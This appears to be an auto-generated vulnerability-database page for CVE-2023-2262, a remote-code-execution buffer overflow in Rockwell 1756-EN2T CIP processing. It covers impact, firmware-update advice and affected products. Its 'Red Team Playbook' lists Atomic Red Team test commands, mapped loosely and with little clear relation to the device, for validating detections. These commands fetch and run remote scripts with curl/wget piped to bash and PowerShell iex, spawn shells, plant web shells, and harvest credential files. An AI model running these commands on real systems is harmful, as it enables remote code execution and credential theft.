CVE-2023-2262
Overview
This vulnerability is a buffer overflow caused by improper handling of crafted CIP (Common Industrial Protocol) requests in Rockwell Automation 1756-EN2T communication devices. The flaw originates from insufficient bounds checking within the firmware's CIP request processing module. Affected components include multiple firmware versions across the 1756-EN2T Series A, B, C, and related models, where the network communication stack fails to validate input lengths correctly.
Vulnerability Description
A buffer overflow vulnerability exists in the Rockwell Automation select 1756-EN* communication devices. If exploited, a threat actor could potentially leverage this vulnerability to perform a remote code execution. To exploit this vulnerability, a threat actor would have to send a maliciously crafted CIP request to device.
Impact
An unauthenticated attacker with network access can exploit this vulnerability to execute arbitrary code remotely on the affected device. This enables full control over the communication module, potentially disrupting industrial control processes or facilitating lateral movement within the network. The attack requires no user interaction and leverages network-based vectors (AV:N/AC:L/PR:N/UI:N), resulting in high confidentiality, integrity, and availability impact (C:H/I:H/A:H).
Solution
Rockwell Automation has released an advisory (https://rockwellautomation.custhelp.com/app/answers/answer_view/a_id/1140786) detailing firmware updates that address this vulnerability. Users should upgrade affected 1756-EN2T Series A, B, C, D, and 1756-EN2TK Series A devices to the latest patched firmware versions as specified in the advisory. The vendor does not list workarounds; applying the official firmware update is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical buffer overflow vulnerability has been identified in certain communication devices from Rockwell Automation, specifically within the 1756-EN series. Buffer overflow vulnerabilities occur when a program writes more data to a buffer than it can hold, leading to adjacent memory being overwritten. In this case, the flaw resides in the processing of Common Industrial Protocol (CIP) requests. When a device receives a maliciously crafted CIP request, it can lead to arbitrary code execution, allowing an attacker to gain control over the affected device. This vulnerability is particularly concerning due to the nature of the devices involved, which are often integral to industrial control systems.
The attack vector for this vulnerability primarily involves sending specially crafted CIP requests to the vulnerable devices. An attacker could exploit this vulnerability remotely, meaning that physical access to the device is not a prerequisite for exploitation. This significantly broadens the potential attack surface, as threat actors could target devices across various locations without needing to breach physical security. The exploitation could lead to unauthorized access to the device's functions, potentially allowing the attacker to manipulate operations, disrupt services, or even cause physical damage to machinery connected to the affected devices.
The real-world implications of this vulnerability are profound, particularly for organizations that rely on Rockwell Automation products in critical infrastructure sectors such as manufacturing, energy, and transportation. The potential for remote code execution poses a substantial business risk, as successful exploitation could lead to operational downtime, financial losses, and damage to reputation. Furthermore, if an attacker gains control over industrial systems, they could initiate harmful actions that compromise worker safety or environmental integrity, leading to regulatory scrutiny and legal repercussions.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security strategy. Regularly updating firmware and applying security patches provided by Rockwell Automation is essential to close the vulnerability. Additionally, network segmentation can help isolate vulnerable devices from broader network access, limiting the potential for exploitation. Intrusion detection systems (IDS) should be configured to monitor for unusual CIP request patterns that may indicate an attempted attack. Lastly, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities before they can be exploited by malicious actors.
In conclusion, the buffer overflow vulnerability in Rockwell Automation's 1756-EN series communication devices presents a significant threat to industrial control systems. The potential for remote code execution through crafted CIP requests highlights the need for organizations to prioritize cybersecurity measures. By understanding the technical details, attack vectors, and real-world impacts of this vulnerability, businesses can better prepare themselves to defend against potential threats and safeguard their operational integrity.
Affected Products (33)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Rockwellautomation | 1756-En2t Series A Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2t_series_a_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2t Series B Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2t_series_b_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2t Series C Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2t_series_c_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2t Series D Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2t_series_d_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2tk Series A Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2tk_series_a_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2tk Series B Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2tk_series_b_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2tk Series C Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2tk_series_c_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2txt Series A Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2txt_series_a_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2txt Series B Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2txt_series_b_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2txt Series C Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2txt_series_c_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2txt Series D Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2txt_series_d_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2tp Series A Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2tp_series_a_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2tpk Series A Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2tpk_series_a_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2tr Series A Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2tr_series_a_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2tr Series B Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2tr_series_b_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2tr Series C Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2tr_series_c_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2trk Series A Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2trk_series_a_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2trk Series B Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2trk_series_b_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2trk Series C Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2trk_series_c_firmware:*:*:*:*:*:*:*:*
|
|
|
Rockwellautomation | 1756-En2trxt Series A Firmware | All |
cpe:2.3:o:rockwellautomation:1756-en2trxt_series_a_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-2262 |
| rockwellautomation.custhelp.com |
GitHub CVE
|
https://rockwellautomation.custhelp.com/app/answers/answer_view/a_id/1140786 |